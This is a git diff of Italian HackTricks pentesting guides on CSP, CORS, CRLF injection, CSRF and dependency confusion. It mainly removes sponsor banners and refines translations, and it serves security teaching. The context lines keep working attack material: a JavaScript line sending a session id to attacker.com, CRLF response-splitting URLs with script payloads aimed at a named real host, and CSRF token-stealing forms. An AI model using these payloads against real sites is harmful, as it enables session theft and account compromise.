-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 ## Tecnologie non sicure per bypassare il CSP
 
 ### Errori PHP quando ci sono troppi parametri
@@ -633,12 +603,12 @@ Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.c
 
 ### Sovraccarico del buffer di risposta PHP
 
-PHP è noto per **bufferizzare la risposta a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
-Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
+PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**intestazione CSP**, causando l'ignoranza dell'intestazione.\
+Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'intestazione CSP non venga inviata.
 
 Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
-### Riscrivi la pagina di errore
+### Riscrivere la pagina di errore
 
 Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
 ```javascript
@@ -673,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag
 
-Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non perderà contenuti)
+Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non perderà contenuto)
 ```html
 
 ```
@@ -751,19 +721,4 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 
 ​
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sulle nuove ricompense per bug in arrivo e aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md
index fb1a2676c..5f1deebb9 100644
--- a/src/pentesting-web/cors-bypass.md
+++ b/src/pentesting-web/cors-bypass.md
@@ -2,15 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Cos'è CORS?
 
 Il Cross-Origin Resource Sharing (CORS) standard **consente ai server di definire chi può accedere alle loro risorse** e **quali metodi di richiesta HTTP sono consentiti** da fonti esterne.
 
-Una politica di **same-origin** impone che un **server che richiede** una risorsa e il server che ospita la **risorsa** condividano lo stesso protocollo (ad es., `http://`), nome di dominio (ad es., `internal-web.com`) e **porta** (ad es., 80). In base a questa politica, solo le pagine web dello stesso dominio e porta sono autorizzate ad accedere alle risorse.
+Una politica di **same-origin** impone che un **server che richiede** una risorsa e il server che ospita la **risorsa** condividano lo stesso protocollo (ad es., `http://`), nome di dominio (ad es., `internal-web.com`) e **porta** (ad es., 80). In base a questa politica, solo le pagine web dello stesso dominio e porta possono accedere alle risorse.
 
 L'applicazione della politica di same-origin nel contesto di `http://normal-website.com/example/example.html` è illustrata come segue:
 
@@ -66,7 +63,7 @@ xhr.send("Arun")
 
 ### Comprendere le Richieste Pre-flight nella Comunicazione Cross-Domain
 
-Quando si avvia una richiesta cross-domain in determinate condizioni, come l'uso di un **metodo HTTP non standard** (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di **nuovi header** o l'impiego di un valore speciale per l'**header Content-Type**, potrebbe essere necessaria una richiesta pre-flight. Questa richiesta preliminare, che sfrutta il metodo **`OPTIONS`**, serve a informare il server delle intenzioni della prossima richiesta cross-origin, inclusi i metodi HTTP e gli header che si intende utilizzare.
+Quando si avvia una richiesta cross-domain in determinate condizioni, come l'uso di un **metodo HTTP non standard** (qualsiasi cosa tranne HEAD, GET, POST), l'introduzione di **nuovi header** o l'impiego di un **valore dell'header Content-Type** speciale, potrebbe essere necessaria una richiesta pre-flight. Questa richiesta preliminare, che sfrutta il metodo **`OPTIONS`**, serve a informare il server delle intenzioni della prossima richiesta cross-origin, inclusi i metodi HTTP e gli header che si intende utilizzare.
 
 Il protocollo **Cross-Origin Resource Sharing (CORS)** richiede questo controllo pre-flight per determinare la fattibilità dell'operazione cross-origin richiesta verificando i metodi, gli header e l'affidabilità dell'origine consentiti. Per una comprensione dettagliata delle condizioni che eludono la necessità di una richiesta pre-flight, fare riferimento alla guida completa fornita da [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
 
@@ -104,7 +101,7 @@ Nota che di solito (a seconda del content-type e degli header impostati) in una
 ### **Richieste di rete locale Richiesta pre-flight**
 
 1. **`Access-Control-Request-Local-Network`**: Questo header è incluso nella richiesta del client per significare che l'inchiesta è rivolta a una risorsa di rete locale. Serve come un marcatore per informare il server che la richiesta proviene dall'interno della rete locale.
-2. **`Access-Control-Allow-Local-Network`**: In risposta, i server utilizzano questo header per comunicare che la risorsa richiesta è consentita per essere condivisa con entità al di fuori della rete locale. Funziona come un semaforo verde per la condivisione delle risorse attraverso diversi confini di rete, garantendo accesso controllato mantenendo i protocolli di sicurezza.
+2. **`Access-Control-Allow-Local-Network`**: In risposta, i server utilizzano questo header per comunicare che la risorsa richiesta è autorizzata a essere condivisa con entità al di fuori della rete locale. Funziona come un semaforo verde per la condivisione delle risorse attraverso diversi confini di rete, garantendo un accesso controllato mantenendo i protocolli di sicurezza.
 
 Una **risposta valida che consente la richiesta di rete locale** deve avere anche nella risposta l'header `Access-Controls-Allow-Local_network: true`:
 ```
@@ -131,7 +128,7 @@ Access-Control-Allow-Credentials: true
 ```
 Questo non è consentito dai browser e quindi le credenziali non verranno inviate con la richiesta consentita da questo.
 
-## Configurazioni errate sfruttabili
+## Misconfigurazioni sfruttabili
 
 È stato osservato che l'impostazione di `Access-Control-Allow-Credentials` su **`true`** è un prerequisito per la maggior parte degli **attacchi reali**. Questa impostazione consente al browser di inviare credenziali e leggere la risposta, aumentando l'efficacia dell'attacco. Senza questo, il vantaggio di far emettere una richiesta da un browser rispetto a farlo da soli diminuisce, poiché sfruttare i cookie di un utente diventa impraticabile.
 
@@ -337,7 +334,7 @@ Il DNS rebinding tramite TTL è una tecnica utilizzata per bypassare alcune misu
 
 È importante notare che i browser hanno meccanismi di caching che possono impedire l'abuso immediato di questa tecnica, anche con valori TTL bassi.
 
-Il DNS rebinding può essere utile per bypassare controlli espliciti dell'IP eseguiti dalla vittima o per scenari in cui un utente o un bot rimane sulla stessa pagina per un periodo prolungato, consentendo alla cache di scadere.
+Il DNS rebinding può essere utile per bypassare controlli IP espliciti eseguiti dalla vittima o per scenari in cui un utente o un bot rimane sulla stessa pagina per un periodo prolungato, consentendo alla cache di scadere.
 
 Se hai bisogno di un modo rapido per abusare del DNS rebinding, puoi utilizzare servizi come [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
 
@@ -353,7 +350,7 @@ Il DNS rebinding tramite DNS cache flooding è un'altra tecnica utilizzata per b
 2. Per bypassare la difesa di caching, l'attaccante sfrutta un service worker. Il service worker inonda la cache DNS, il che effettivamente elimina il nome del server dell'attaccante memorizzato nella cache.
 3. Quando il browser della vittima effettua una seconda richiesta DNS, ora riceve come risposta l'indirizzo IP 127.0.0.1, che di solito si riferisce al localhost.
 
-Inondando la cache DNS con il service worker, l'attaccante può manipolare il processo di risoluzione DNS e costringere il browser della vittima a effettuare una seconda richiesta, questa volta risolvendo all'indirizzo IP desiderato dall'attaccante.
+Inondando la cache DNS con il service worker, l'attaccante può manipolare il processo di risoluzione DNS e forzare il browser della vittima a effettuare una seconda richiesta, questa volta risolvendo all'indirizzo IP desiderato dall'attaccante.
 
 ### DNS Rebinding tramite **Cache**
 
@@ -418,8 +415,5 @@ Puoi trovare ulteriori informazioni sulle tecniche di bypass precedenti e su com
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
 - [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md
index e9fc1a3fd..2a9c6d99a 100644
--- a/src/pentesting-web/crlf-0d-0a.md
+++ b/src/pentesting-web/crlf-0d-0a.md
@@ -2,25 +2,21 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 ### CRLF
 
-Carriage Return (CR) e Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per denotare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra le intestazioni HTTP e il corpo di una risposta. Questi caratteri sono impiegati universalmente nelle comunicazioni HTTP/1.1 attraverso vari tipi di server web, come Apache e Microsoft IIS.
+Il Carriage Return (CR) e il Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per denotare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra le intestazioni HTTP e il corpo di una risposta. Questi caratteri sono impiegati universalmente nelle comunicazioni HTTP/1.1 attraverso vari tipi di server web, come Apache e Microsoft IIS.
 
-### CRLF Injection Vulnerability
+### Vulnerabilità da Iniezione CRLF
 
-L'iniezione CRLF comporta l'inserimento di caratteri CR e LF nell'input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendoli interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a HTTP response splitting e ad altre attività malevole.
+L'iniezione CRLF comporta l'inserimento di caratteri CR e LF nell'input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendoli interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a una divisione della risposta HTTP e ad altre attività malevole.
 
-### Example: CRLF Injection in a Log File
+### Esempio: Iniezione CRLF in un File di Log
 
-[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
+[Esempio da qui](https://www.invicti.com/blog/web-security/crlf-http-header/)
 
-Considera un file di log in un pannello di amministrazione che segue il formato: `IP - Time - Visited Path`. Un'entrata tipica potrebbe apparire così:
+Considera un file di log in un pannello di amministrazione che segue il formato: `IP - Ora - Percorso Visitato`. Un'entrata tipica potrebbe apparire così:
 ```
 123.123.123.123 - 08:15 - /index.php?page=home
 ```
@@ -69,7 +65,7 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
 ```
 #### Nel percorso URL
 
-Puoi inviare il payload **all'interno del percorso URL** per controllare la **risposta** del server (esempio da [qui](https://hackerone.com/reports/192667)):
+Puoi inviare il payload **all'interno del percorso URL** per controllare la **risposta** dal server (esempio da [qui](https://hackerone.com/reports/192667)):
 ```
 http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
 http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
@@ -88,7 +84,7 @@ Un attaccante può iniettare header HTTP per abilitare CORS (Cross-Origin Resour
 
 #### SSRF e Iniezione di Richiesta HTTP tramite CRLF
 
-L'iniezione CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio notevole di questo è la vulnerabilità nella classe `SoapClient` di PHP, specificamente all'interno del parametro `user_agent`. Manipolando questo parametro, un attaccante può inserire header e contenuti del corpo aggiuntivi, o persino iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio PHP che dimostra questo sfruttamento:
+L'iniezione CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio notevole di questo è la vulnerabilità nella classe `SoapClient` di PHP, specificamente all'interno del parametro `user_agent`. Manipolando questo parametro, un attaccante può inserire header aggiuntivi e contenuti del corpo, o persino iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio PHP che dimostra questo sfruttamento:
 ```php
 $target = 'http://127.0.0.1:9090/test';
 $post_string = 'variable=post value';
@@ -121,7 +117,7 @@ Puoi iniettare intestazioni essenziali per garantire che il **back-end mantenga
 ```
 GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
 ```
-Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge tipicamente [HTTP request smuggling](http-request-smuggling/), una tecnica in cui intestazioni extra o elementi del corpo aggiunti dal server dopo l'iniezione possono portare a vari exploit di sicurezza.
+Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge tipicamente [HTTP request smuggling](http-request-smuggling/), una tecnica in cui intestazioni o elementi del corpo aggiunti dal server dopo l'iniezione possono portare a vari exploit di sicurezza.
 
 **Sfruttamento:**
 
@@ -135,7 +131,7 @@ Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge t
 
 ### Iniezione di Memcache
 
-Memcache è un **archivio chiave-valore che utilizza un protocollo in chiaro**. Maggiori informazioni in:
+Memcache è un **key-value store che utilizza un protocollo in chiaro**. Maggiori informazioni in:
 
 {{#ref}}
 ../network-services-pentesting/11211-memcache/
@@ -143,7 +139,7 @@ Memcache è un **archivio chiave-valore che utilizza un protocollo in chiaro**.
 
 **Per informazioni complete leggi il**[ **report originale**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
 
-Se una piattaforma sta **prendendo dati da una richiesta HTTP e utilizzandoli senza sanitizzazione** per effettuare **richieste** a un server **memcache**, un attaccante potrebbe abusare di questo comportamento per **iniettare nuovi comandi memcache**.
+Se una piattaforma sta prendendo **dati da una richiesta HTTP e utilizzandoli senza sanitizzazione** per effettuare **richieste** a un server **memcache**, un attaccante potrebbe abusare di questo comportamento per **iniettare nuovi comandi memcache**.
 
 Ad esempio, nella vulnerabilità scoperta originariamente, le chiavi della cache venivano utilizzate per restituire l'IP e la porta a cui un utente dovrebbe connettersi, e gli attaccanti erano in grado di **iniettare comandi memcache** che avrebbero **avvelenato** la **cache per inviare i dettagli delle vittime** (inclusi nomi utente e password) ai server degli attaccanti:
 
@@ -158,8 +154,8 @@ Inoltre, i ricercatori hanno anche scoperto che potevano desincronizzare le risp
 Per mitigare i rischi di iniezioni CRLF (Carriage Return e Line Feed) o HTTP Header nelle applicazioni web, si raccomandano le seguenti strategie:
 
 1. **Evitare l'Input Diretto dell'Utente negli Intestazioni di Risposta:** L'approccio più sicuro è astenersi dall'incorporare input fornito dall'utente direttamente nelle intestazioni di risposta.
-2. **Codificare Caratteri Speciali:** Se evitare l'input diretto dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica di caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.
-3. **Aggiornare il Linguaggio di Programmazione:** Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Scegli una versione che non consenta intrinsecamente l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare le intestazioni HTTP.
+2. **Codificare i Caratteri Speciali:** Se evitare l'input diretto dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica di caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.
+3. **Aggiornare il Linguaggio di Programmazione:** Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Scegli una versione che di per sé non consenta l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare le intestazioni HTTP.
 
 ### CHEATSHEET
 
@@ -201,10 +197,6 @@ Per mitigare i rischi di iniezioni CRLF (Carriage Return e Line Feed) o HTTP Hea
 - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
 - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
 
-

 
-**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md
index 3f6469f48..db854cc08 100644
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@@ -2,65 +2,50 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 ## Cross-Site Request Forgery (CSRF) Spiegato
 
 **Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è loggato su una piattaforma vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
 
-### Requisiti per un attacco CSRF
+### Requisiti per un Attacco CSRF
 
 Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
 
-1. **Identificare un'azione preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
-2. **Gestione della sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
-3. **Assenza di parametri imprevedibili**: La richiesta non deve contenere parametri imprevedibili, poiché possono impedire l'attacco.
+1. **Identificare un'Azione Preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
+2. **Gestione della Sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
+3. **Assenza di Parametri Imprevedibili**: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
 
-### Controllo rapido
+### Controllo Rapido
 
 Puoi **catturare la richiesta in Burp** e controllare le protezioni CSRF e per testare dal browser puoi cliccare su **Copia come fetch** e controllare la richiesta:
 
 

 
-### Difesa contro il CSRF
+### Difesa Contro il CSRF
 
 Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
 
-- [**SameSite cookies**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Ulteriori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
-- **Verifica dell'utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
-- **Controllo degli header Referrer o Origin**: Validare questi header può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
+- [**Cookie SameSite**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Ulteriori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
+- [**Condivisione delle risorse cross-origin**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
+- **Verifica dell'Utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
+- **Controllo degli Intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
 - Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
 - Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
-- **Modifica dei nomi dei parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
+- **Modifica dei Nomi dei Parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
 - **Token CSRF**: Incorporare un token CSRF unico in ogni sessione e richiedere questo token nelle richieste successive può ridurre significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.
 
 Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
 
-## Bypass delle difese
+## Bypass delle Difese
 
 ### Da POST a GET
 
 Forse il modulo che vuoi abusare è preparato per inviare una **richiesta POST con un token CSRF ma**, dovresti **controllare** se un **GET** è anche **valido** e se quando invii una richiesta GET il **token CSRF viene ancora convalidato**.
 
-### Mancanza di token
+### Mancanza di Token
 
 Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il **parametro** che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
 
-### Il token CSRF non è legato alla sessione utente
+### Il Token CSRF non è Legato alla Sessione Utente
 
 Le applicazioni **che non legano i token CSRF alle sessioni utente** presentano un significativo **rischio di sicurezza**. Questi sistemi verificano i token rispetto a un **pool globale** piuttosto che garantire che ogni token sia vincolato alla sessione iniziante.
 
@@ -72,7 +57,7 @@ Ecco come gli attaccanti sfruttano questo:
 
 Questa vulnerabilità consente agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il **meccanismo di convalida del token inadeguato** dell'applicazione.
 
-### Bypass del metodo
+### Bypass del Metodo
 
 Se la richiesta utilizza un "**metodo strano**", controlla se la **funzionalità di override del metodo** funziona. Ad esempio, se sta **utilizzando un metodo PUT** puoi provare a **utilizzare un metodo POST** e **inviare**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
@@ -82,14 +67,14 @@ Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di
 - _X-HTTP-Method-Override_
 - _X-Method-Override_
 
-### Bypass del token dell'intestazione personalizzata
+### Bypass del Token dell'Intestazione Personalizzata
 
 Se la richiesta aggiunge un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
 
 - Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
-- Testa la richiesta con esattamente la **stessa lunghezza ma un token diverso**.
+- Testa la richiesta con esattamente **la stessa lunghezza ma un token diverso**.
 
-### Il token CSRF è verificato da un cookie
+### Il Token CSRF è Verificato da un Cookie
 
 Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro di richiesta o impostando un cookie CSRF e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione convalida le richieste controllando se il token nel parametro di richiesta si allinea con il valore nel cookie.
 
@@ -161,13 +146,13 @@ Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare `Con
 
 **Evitare l'intestazione Referrer**
 
-Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, può essere utilizzato il seguente tag meta HTML:
+Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, è possibile utilizzare il seguente tag meta HTML:
 ```xml
 
 ```
 Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di validazione in alcune applicazioni.
 
-**Regexp bypasses**
+**Bypass Regexp**
 
 {{#ref}}
 ssrf-server-side-request-forgery/url-format-bypass.md
@@ -204,7 +189,7 @@ document.forms[0].submit()
 ```
 ### **Bypass del metodo HEAD**
 
-La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
+La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, esse vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
 
 Pertanto, se una richiesta GET è limitata, puoi semplicemente **inviare una richiesta HEAD che sarà elaborata come una richiesta GET**.
 
@@ -550,7 +535,7 @@ height="600" width="800">
 
 
 ```
-### **POSTRuba il token CSRF con Ajax e invia un post con un modulo**
+### **POSTRubare il token CSRF con Ajax e inviare un post con un modulo**
 ```html
 
 

-
-Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/dependency-confusion.md b/src/pentesting-web/dependency-confusion.md
index b3cfa7943..cfd71f782 100644
--- a/src/pentesting-web/dependency-confusion.md
+++ b/src/pentesting-web/dependency-confusion.md
@@ -2,15 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Informazioni di Base
 
-In sintesi, una vulnerabilità di dipendenza confusa si verifica quando un progetto utilizza una libreria con un nome **scritto male**, **inesistente** o con una **versione non specificata** e il repository di dipendenze utilizzato consente di **raccogliere versioni aggiornate da repository pubblici**.
+In sintesi, una vulnerabilità di dipendenza confusa si verifica quando un progetto utilizza una libreria con un **nome errato**, **inesistente** o con una **versione non specificata** e il repository di dipendenze utilizzato consente di **raccogliere versioni aggiornate da repository pubblici**.
 
-- **Scritto male**: Importa **`reqests`** invece di `requests`
+- **Nome errato**: Importa **`reqests`** invece di `requests`
 - **Inesistente**: Importa `company-logging`, una libreria interna che **non esiste più**
 - **Versione non specificata**: Importa una libreria `company-requests` **interna** **esistente**, ma il controllo del repo **verifica i repo pubblici** per vedere se ci sono **versioni superiori**.
 
@@ -19,7 +16,7 @@ In sintesi, una vulnerabilità di dipendenza confusa si verifica quando un proge
 > [!WARNING]
 > In tutti i casi, l'attaccante deve solo pubblicare un **pacchetto malevolo con il nome** delle librerie utilizzate dalla società vittima.
 
-### Scritto Male & Inesistente
+### Nome Errato & Inesistente
 
 Se la tua azienda sta cercando di **importare una libreria che non è interna**, è molto probabile che il repo delle librerie la cercherà in **repository pubblici**. Se un attaccante l'ha creata, il tuo codice e le macchine in esecuzione saranno molto probabilmente compromessi.
 
